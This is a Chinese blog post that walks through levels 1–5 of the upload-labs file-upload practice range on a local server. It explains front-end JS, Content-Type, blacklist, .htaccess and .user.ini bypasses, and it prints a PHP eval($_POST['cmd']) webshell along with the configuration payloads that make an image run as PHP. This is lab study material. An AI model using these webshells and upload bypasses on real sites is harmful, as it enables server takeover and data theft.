大家好!这是我写的第一篇文章!主要是记录了我通关upload-labs-master靶场1-21关卡的过程,每5关一篇文章一更新,未来会持续更新我系统学习信息安全的过程,希望与大家共同学习进步。你们的关注,是我持续更新的巨大动力!
关数(通关特征)
Pass-01 绕过前端JS检测上传
进入靶场,按照正常流程,发现上传.php文件失败!
方法一:前端删除return checkFile()提交
按F12使用网页审查元素,把校验的上传后缀名文件除掉,即可上传。
方法二:禁用javascript按钮
方法三:抓包将来“.php”改为“.jpg”
把恶意文件改成 js 允许上传的文件后缀,如 jpg、gif、png 等,再通过抓包工具抓取 post 的数据 包,把后缀名改成可执行的脚本后缀如 php 、asp、jsp 等。即可绕过上传 。
Pass-02 绕过Content-Type检测
关卡分析:
有些上传模块,会对 http 的类型头(MIME)类型进行检测,如果是图片类型,允许上传文件到服务 器,否则返回上传失败。因为服务端是通过 content-type 判断类型,content-type 在客户端可被修 改。则此文件上传也有可能被绕过的风险。
每种文件都有自己的MIME类型。常见的MIME类型有:
图片文件:
PHP: Content-Type: application/octet-stream
PNG: Content-Type: image/png
JPG: Content-Type: image/jpeg
GIF: Content-Type: image/gif
绕过演示:
使用第一种方法,发现并不成功。
看到提示信息,发现无法绕过前端JS,使用Burpsuite工具对上传过程中进行抓包。
发现包中有Content-Type标签,对文件的Content-Type进行修改,修改为“image/jpeg”,表示是“jpg”文件。点击“send”,上传成功!
注:如果要在靶场页面进行显示,我们要在Proxy中进行修改相关参数。
测试连接,连接成功!
(注:以下均可以在上传成功后进行测试连接!)
http://127.0.0.1/muma/shell.php
密码:cmd
Pass-03 绕过黑名单上传
使用第一种,第二种方法,发现无效。
关卡分析:
上传模块,有时候会写成黑名单限制,在上传文件时程序会获取后缀名,再把后缀名与程序中黑名单进 行检测,如果后缀名在黑名单的列表中,则文件禁止上传。 简述:黑名单就是服务端明确不允许上传的格式后缀:PHP、JSP、ASP、JSPX等。
绕过演示:
IIS : 在iis中如果ASP后缀禁止上传了,可以上传sas、cer、cdx后缀,如果网站允许.net执行可以上传ashx代 替aspx。如果网站可以执行这些脚本,通过上传该后缀文件即可获得Webshell。
Apache : 可以开启`application/x-httpd-php` 在配置文件中需要将`AddType application/x-httpd-php .php .phtml .php3` 后缀名为phtml、php3均可以当做php文件解析。有的apache版本就会默认开启, 但是一般情况都是网站管理员错误配置后造成的。
注意: 不同的中间件中有特殊的情况。
我们首先修改配置文件,修改apache配置文件http.conf:
Ctrl+F
AddType application/x-httpd-php .php .phtml .php3
所以我们修改文件名的后缀为“.phtml”进行上传。
右键查看“在新标签中打开标签”,发现我们的木马文件被成功解析。
PASS-04 .htaccess绕过
关卡分析:
.htaccess文件是Apache服务器中的一个配置文件,提供了针对目录改变配置的方法.通过htaccess文件 可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访 问、禁止目录列表、配置默认文档等功能。 重要功能:可以指定某个文件当作php文件执行(拿php解析器解析)
前提条件:Apache开启rewrite模块。
尝试过前三种方法后,我们发现不行,然后要 htaccess 的规则生效,要在Apache中加入配置文件,在apache 开启 rewrite 重写模块,因为 apache 是多数都开启这个模块,所以规则一般都生效;
注:可以点击Ctrl+F去搜索“rewrite”模块。
绕过演示:
在Apache中加入配置文件,在apache 开启 rewrite 重写模块,因为因为 apache 是多数都开启这个模块,所以规则一般都生效;
新版小皮开启方法:
旧版小皮开启方法:
上传配置文件:“.htacess”,再上传1.jpg。
.htacess:
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>1.jpg:
<?php phpinfo();eval($_POST['cmd']);?>
注:有人不太清楚这个1.jpg文件是图片还是木马,这是我们写好的1.php代码,然后将来他的后缀改成了 1.jpg,这里我用的是“<?php phpinfo();?>”的一句话木马。
最后打开链接查看,发现文件被成功解析。
如果没有解析成功,出现了这样的错误,我们可以把php的版本换成5.5版本的,再进行尝试!
错误提示:
更改版本(我这里用的是新版phpstudy):
PASS-05 .user.ini绕过
关卡分析:
绕过演示:
1.创建文件
.user.ini文件:
auto_prepend_file = "shell.jpg"
shell.jpg文件:
<?php phpinfo();eval($_POST['cmd']);?>
创建.user.ini文件 || 创建1.txt文件,文件内容为php代码。
2.依次上传user.ini和shell.jpg文件
打开链接进行解析:
http://127.0.0.1/BC/upload-labs-master/upload/shell.jpg
(谢谢大家!欢迎提出批评和建议!你的支持是我持续更新的巨大动力!)